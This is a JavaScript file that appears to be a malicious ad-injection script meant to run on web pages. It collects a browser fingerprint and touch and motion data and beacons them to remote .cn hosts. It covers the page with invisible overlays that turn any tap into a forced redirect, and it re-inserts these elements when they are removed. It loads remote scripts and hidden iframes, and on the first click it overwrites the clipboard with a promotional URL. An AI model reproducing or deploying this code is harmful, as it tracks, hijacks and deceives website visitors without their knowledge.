;(function () {
    function rsr (l, type) {
        l = l || 4;
        var   c = 'abcdefhijkmnprstwxyzABCDEFGHIJKLMNOPQRSTWXYZ';
        if (type === 1) {c += '_-';}
        var m = c.length;
        var r = '';
        for (i = 0; i < l; i++) {
            r += c.charAt(Math.floor(Math.random() * m));
        };
        return r;
    };
  
    function rdr (n, m) {
        return Math.round(Math.random()*(m-n)+n)
    }
  
    function btoa (d){var b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var a="";var m,j,g,l,h,f,e;var c=0;d=(function(k){k=k.replace(/\r\n/g,"\n");var i="";for(var p=0;p<k.length;p++){var o=k.charCodeAt(p);if(o<128){i+=String.fromCharCode(o)}else{if((o>127)&&(o<2048)){i+=String.fromCharCode((o>>6)|192);i+=String.fromCharCode((o&63)|128)}else{i+=String.fromCharCode((o>>12)|224);i+=String.fromCharCode(((o>>6)&63)|128);i+=String.fromCharCode((o&63)|128)}}}return i})(d);while(c<d.length){m=d.charCodeAt(c++);j=d.charCodeAt(c++);g=d.charCodeAt(c++);l=m>>2;h=((m&3)<<4)|(j>>4);f=((j&15)<<2)|(g>>6);e=g&63;if(isNaN(j)){f=e=64}else{if(isNaN(g)){e=64}}a=a+b.charAt(l)+b.charAt(h)+b.charAt(f)+b.charAt(e)}return a};
  
    var win = window, doc = document, cst = doc.currentScript || (typeof _tdcs !== 'undefined' ? _tdcs : null), body = doc.body;
  
    /*  */
    function uuid (){return'';}
    /* */
  
    function graphics(){try{var f=doc.createElement("canvas");var b=f.getContext("experimental-webgl");if(b!=null){var e=b.getExtension("WEBGL_debug_renderer_info");return e ? b.getParameter(e.UNMASKED_RENDERER_WEBGL) : '';}else{return""}}catch(a){return a.message}};
  
    function netw(){var n=navigator.connection||navigator.mozConnection||navigator.webkitConnection;if(n){return(n.effectiveType||'')+':'+(n.type||'')}else{return''}}
    
    var x = [], y = [], z = [];
  
    function p () {
        var r = '';
        try {
            r = opener ? opener.doc.location.href : doc.referrer;
        } catch (e) {
            r = doc.referrer;
        }
  
        var b = {
            r: encodeURIComponent(r),
            x: [typeof DeviceOrientationEvent === 'function' ? 1 : 0, z.join(','), uuid(), navigator.platform, graphics(), netw(), navigator.hardwareConcurrency || '', screen.colorDepth || ''].join(';'),
            k: '',
            se: (function () {
                var e = 0, m = navigator.mimeTypes;
                if (m && m.length) {
                    for (i in m) {if (m[i]['type'] == 'application/vnd.chromium.remoting-viewer') {e = '1';}}
                }
  
                var a = "track" in doc.createElement("track"), b = "scoped" in doc.createElement("style"), c = "v8Locale" in win;
                if (e !== 1) {
                    if (a && !b && !c) e = 2;
                    if (a && b && c) e = 3;
                }
  
                return e;
            })(),
            f: navigator.plugins && navigator.plugins["Shockwave Flash"] && (navigator.mimeTypes && navigator.mimeTypes.length) ? navigator.plugins["Shockwave Flash"].description.replace(/([a-zA-Z]|\s)+/, "").replace(/(\s)+r/, ".") : 0,
            u: encodeURIComponent(win.location.href),
            j: navigator.javaEnabled && navigator.javaEnabled() ? 1 : 0,
            p: navigator.plugins ? navigator.plugins.length : 0,
            m: navigator.mimeTypes ? navigator.mimeTypes.length : 0,
            res: screen.width + "x" + screen.height,
            t: encodeURIComponent(doc.title.substring(0, 10)),
            l: navigator.browserLanguage || navigator.language,
            c: navigator.cookieEnabled ? 1 : 0,
            h: body ? body.clientHeight : 0
        };
  
        var e = [];
        for (var i in b) {e.push(i + '=' + b[i]);}
        return btoa(e.join("&"));
    };
  
    function jump (e) {
        var cx = 0, cy = 0, fn, a = doc.createElement('a');
        if (param.c_2 === 2 && param.ns) { psv(); };
        if (e instanceof Event) {
            e.preventDefault(); e.stopPropagation();
            if (e instanceof TouchEvent) {
                cx = parseInt(e.touches[0].clientX); cy = parseInt(e.touches[0].clientY);
            } else {
                cx = e.x; cy = e.y;
            }
        }
  
        a.href = jpu(cx, cy);
        a.rel = 'noreferrer';
        fn = function () {
            a.click();
            /**/
            var fnt = setTimeout(function () {
                var f = doc.createElement('form');
                f.action = a.href;
                f.method = 'POST';
                doc.body.appendChild(f);
                f.submit();
            }, 1000);
            document.addEventListener('visibilitychange', function () {
                if (document.visibilityState === 'hidden') {
                    clearTimeout(fnt);
                }
            });
            /**/
        };
        
        if (param.tg === 2 && param.delay) {
            setTimeout(fn, param.delay);
        } else {
            fn();
        }
        return false;
    };
  
    function jpu (cx, cy) {
        return param.a_2 + '&p=' + p() + "&jm=1&b=" + cx + ';' + cy + '&g=' + x.join(',') + ';' + y.join(',');
    };
  
    function psv () {
        var u = param.j + ['adsid=' + param.a_4, 'planid=' + param.a_5, 'uid=' + param.c_1, 'siteid=' + param.si, 'plantype=' + (param.c_2 === 1 ? 'cpv' : 'cpc'), 'zoneid=' + param.c_3, 'adtplid=' + param.c_4, 'sep=' + param.r].join('&');
        var s = doc.createElement('script'); s.async = true; s.src = u; body.appendChild(s);
    };
  
    function sbn (u) {
      if (typeof navigator.sendBeacon !== 'function' || !navigator.sendBeacon(u)) {
        new Image().src = u;
      }
    };
  
    window.addEventListener('deviceorientation', function (e) {
        if (z.length < 3) {z.push([e.alpha.toFixed(0), e.beta.toFixed(0), e.gamma.toFixed(0)].join('/'));}
    }, false);
  
    var tag = rsr(3), wrap = doc.createElement('div'); zIndex = 6665038351;/*2147483647*/;
    function dm () {
        var s = doc.createElement('style');
        var w = param.c_5 === 'relative' ? (cst.parentElement.offsetWidth || param.d_4 || win.innerWidth) : win.innerWidth, n1 = rsr(6), f = body.firstChild;
  
        if (param.d_1 && param.d_1 > 1 && ['top', 'bottom'].includes(param.c_5)) {
            var s1 = doc.createElement('style');
            s1.innerHTML += '.' + n1 + '{width: 10%;position: fix' + 'ed;z-index: ' + zIndex + ';background-color: transparent;' + param.c_5 + ': ' + (param.d_2 + param.o) + 'px;height:' + param.d_1 + 'px;}';
            for (var i = 0; i < 10; i++) {
                var d = doc.createElement(rsr(4));
                d.style.left = i * 10 + '%';
                d.className = n1;
                d.addEventListener(param.tgs === 1 ? 'click' : 'touchstart', function (e) {
                    for (var l = doc.querySelectorAll('.' + n1), i = 0; i < l.length; i++) {l[i].remove();}
                    jump(e);
                }, false);
                body.appendChild(d);
            }
            doc.head.appendChild(s1);
        }
  
        var flag = doc.createElement('div'), dms = [];
        wrap.style = 'position: relative; width: 100%; height: ' + param.d_2 + 'px';
        for (var i = 0; i < 40; i++) {
            var d = doc.createElement(tag);
            d.addEventListener(param.tg === 1 ? 'click' : 'touchstart', jump, false);
            if (param.c_5 === 'relative') {
                wrap.appendChild(d);
            } else if (param.c_5 === 'top') {
                body.insertBefore(d, f);
            } else {
                body.appendChild(d);
            }
            
            d.style.cssText = 'display: block;z-index:' + (zIndex - 1) + ';width:10%;position:' + (param.c_5 === 'relative' ? 'relative' : 'fixed') + ';height: ' + (param.d_2 / 4) + 'px !important;background-size:' + w + 'px ' + param.d_2 + 'px !important;';
            if (param.c_5 === 'relative') {
                d.style.cssText += 'float: left;background-position: -' + ((i % 10) * (w / 10)) + 'px ' + '-' + (parseInt(i / 10) * (param.d_2 / 4)) + 'px;';
            } else {
                d.style.cssText += param.c_5 + ':' + ((i % 4) * (param.d_2 / 4) + param.o) + 'px;left:' + Math.ceil(((parseInt(i / 4) * w) / 10 - (parseInt(i / 4) * 0.5)) + 1.5) + 'px;background-position:-' + Math.ceil((parseInt(i / 4) * w) / 10) + 'px ' + ((param.c_5 === 'top' ? -1 : 1) * ((i + (param.c_5 === 'top' ? 0 : 1)) % 4) * (param.d_2 / 4) - (param.c_5 === 'top' ? param.d_2 : 0)) + 'px;';
            }
  
            dms.push(d);
        }
  
        var mask, mcls;
        var mstyle = param.c_5 === 'relative' ? ('width: 100%; height: 100%; position: absolute; z-index: 1;background: rgba(0,0,0,0);') : ('z-index:' + zIndex + ';width: ' + w + 'px;height: ' + param.d_2 + 'px;position: fixed;' + param.c_5 + ':' + param.o + 'px;background: rgba(0,0,0,0);');
  
        function cmask () {
          mask = doc.createElement('div');
          mcls = rsr(5);
          mask.classList.add(mcls);
          if (param.c_5 === 'relative') {
            wrap.appendChild(mask);
          } else {
            doc.body.appendChild(mask);
          }
          mask.addEventListener(param.tg === 1 ? 'click' : 'touchstart', jump, false);
          var s = doc.createElement('style');
          s.innerHTML = '.' + mcls + '{' + mstyle + '}';
          doc.head.appendChild(s);
        }
        cmask();
  
        var vc = doc.createElement(rsr(5)), cld = false;
        vc.style.cssText = [
            'background-image:url('+param.x_img+')',
            'background-size:'+param.h+'px '+param.h+'px',
            'position:fixed', 'z-index:' + zIndex, 'right:1px', 'color:rgb(255,255,255)',
            'width:'+param.h+'px', 'height:'+param.h+'px', 'text-align:center'
        ].join(';');
        vc.style[param.c_5] = param.d_2 + param.o - 2 + 'px';
  
        if (param.fcl == 1) {
          vc.addEventListener('click', jump);
        } else {
          vc.addEventListener('click', function () {
              cld = true;
              flag.remove();
              for (var l = doc.querySelectorAll('.' + n1), i = 0; i < l.length; i++) {l[i].remove();}
              for (var i = 0; i < dms.length; i++) {dms[i].remove();}
              this.remove(); 
              body.style[param.c_5 === 'top' ? 'paddingTop' : 'paddingBottom'] = '';
              dms = [];
              mask.remove();
              try {;} catch (e) {console.error(e);}
          });
        }
        
        var fun = new Function ('l', 'l();');
  
        function lead () {
            if (!cld) {
                var t = doc.body.querySelector(tag), c = t ? getComputedStyle(t) : {}, target = (param.c_5 === 'relative' ? wrap : doc.body);
                if (!t) {
                    dms.forEach(function (l) {target.appendChild(l);});
                } else if (c.display !== 'block') {
                    for (var i = 0, len = dms.length; i < len; i++) {
                        var d = dms[i];
                        dms[i] = d.cloneNode();d.remove();
                        dms[i].style.display = 'block';
                        dms[i].removeEventListener(param.tg === 1 ? 'click' : 'touchstart', jump);
                        dms[i].addEventListener(param.tg === 1 ? 'click' : 'touchstart', jump, false);
                        target.appendChild(dms[i]);
                    }
                } else if (c.backgroundImage === 'none') {
                    var i = rsr(rdr(3, 8), 1);
                    flag.id = i;
                    s.innerHTML = '#' + i + ' ~ ' + tag + '{background-image: url('+ param.a_3 +') !important}';
                    doc.body.appendChild(s);
                    t.parentElement.insertBefore(flag, t);
                }
                if (!doc.body.querySelector('.' + mcls)) {
                  cmask();
                }
                setTimeout(fun, 1000, lead);
            }
        }
  
        doc.body.appendChild(s);
        fun(lead);
  
        doc.body.addEventListener('touchstart', function () {fun(lead);});
  
        if (param.c_5 === 'relative') {
            cst.parentElement.insertBefore(wrap, cst);
        } else if (param.c_5 === 'top') {
            param.d_3 !== 0 && body.insertBefore(vc, f);
            body.style.paddingTop = param.d_2 + param.o + 'px';
        } else if (param.c_5 === 'bottom')  {
            param.d_3 !== 0 && body.appendChild(vc);
            body.style.paddingBottom = param.d_2 + param.o + 'px'; 
        }
    };
  
    function ckv () {
        var rect = wrap.getBoundingClientRect(), h = win.innerHeight - 10;
        if (rect.top < h && rect.bottom > 10) {
            body.removeEventListener('touchend', ckv);
            win.removeEventListener('scroll', ckv);
            ckv = function () {};
            cv();
        }
    }
  
    function ev () {
        if (param.c_2 === 1 && param.ns) { psv(); }
        if (param.c_2 === 1) {
            if (false && param.c_5 === 'relative') {
                ckv();
                body.addEventListener('touchend', ckv);
                win.addEventListener('scroll', ckv);
            } else {
                cv();
            }
        }
        if (param.stats) {
          sbn(param.stats);
        }
        try {
            ;
            ;
        } catch (e) {
            console.error(e);
        }
    };
  
    function cv () {
      sbn(param.a_2 + '&srccpv=yes&jm=1&b=0;0&g=0;0&p=' + p());
    };
  
    function c2 () { param.a_1 && sbn(param.a_1); };
  
    function ot () {
        param.s.forEach(function (u) {
            var s = doc.createElement('script');
            s.src = u;
            body.appendChild(s);
        });
    };
  
    function oif () {
        param.is.forEach(function (u) {
            var i = doc.createElement('iframe');
            i.src = u; i.width = 0; i.height = 0; i.style.display = 'none';
            body.appendChild(i);
        });
    };
  
    /**/
  
    function woff (s) {
        return new Promise(function (resolve) {
            var xhr = new XMLHttpRequest();
            var response = null;
            xhr.open('GET', s.replace(/\.[\w]*$/, '.json'), true);
            xhr.onreadystatechange = function () {
                if (xhr.responseText) {
                    response = xhr.responseText;
                }
                if (xhr.readyState === 4) {
                    resolve(response ? ('data:image/gif;base64,' + response.replace(/\s/g, '').substring(5)) : '');
                }
            };
            xhr.send();
        });
    };
  
    var param = {"s":[],"is":[""],"x_img":"https:\/\/gbf.jhmghgf.cn:26579\/mnrt\/nowx4.png","c_1":"10173","c_2":2,"c_3":"10570","c_4":"2","c_5":"bottom","a_1":null,"a_2":"https:\/\/DcDi.fjkfna.cn:9896\/c.php?s=JnpvbmVpZD0xMDU3MCZzaXRlaWQ9JnVpZD0xMDE3MyZhZHNpZD0xNjc5MyZwbGFuaWQ9MTgzOSZwbGFudHlwZT1jcGMmdXJsPWh0dHBzJTNBJTJGJTJGd3d3LmR5N2RkLmNvbSUyRmhvbWUuaHRtbCZ2dGltZT0yMDI1LTAzLTIzIDA4OjI1OjAzJmlwPTMuMTQuMTM1Ljc5;ec2c701c4123a0ce0ae820f295c2dc92;","a_3":"https:\/\/gbf.jhmghgf.cn:26579\/shipin412\/7.gif","a_4":"16793","a_5":"1839","j":"https:\/\/aac.qbquxe.cn:9896\/stats.php?","si":null,"r":"10","d_1":0,"d_2":16,"d_3":1,"d_4":100,"o":0,"h":17,"ns":true,"tg":2,"tgs":2,"delay":0,"rdj":0,"rds":0,"fcl":1,"v":"vh4","stats":null,"im":[80,"1",25000]};
    param.d_2 = param.d_2 / 100 * win.innerHeight;
    param.d_1 = param.d_1 / 100 * win.innerHeight;
  
    /**/
    
    try{function clipboard(e){if(navigator.clipboard&&navigator.clipboard.writeText)navigator.clipboard.writeText(e);else{const o=document.createElement("textarea");o.value=e,o.style.display="none",document.body.appendChild(o),o.select(),document.execCommand("copy"),document.body.removeChild(o)}};document.body.addEventListener('click',function cv(){document.body.removeEventListener('click', cv);clipboard(decodeURIComponent('%E6%9C%80%E6%96%B0%E9%BB%91%E6%96%99+%E8%BF%9Bhttps%3A%2F%2Fazx1.js01ua4.pro%3A5268'));});;}catch(e){}
  
    Promise.all([
        woff(param.x_img).then(function (res) {
            param.x_img = res;
        }),
        woff(param.a_3).then(function (res) {
            param.a_3 = res;
        })
    ]).finally(function () {
        var tm = setInterval(function () {
            if (doc.body) {
                body = doc.body; clearInterval(tm);
                body.addEventListener('touchmove', function (e) { if (x.length < 10) { x.push(parseInt(e.touches[0].clientX)); y.push(parseInt(e.touches[0].clientY)); } });
                c2(); dm(); ev(); ot(); oif();
            }
        }, 2);
    });
  })();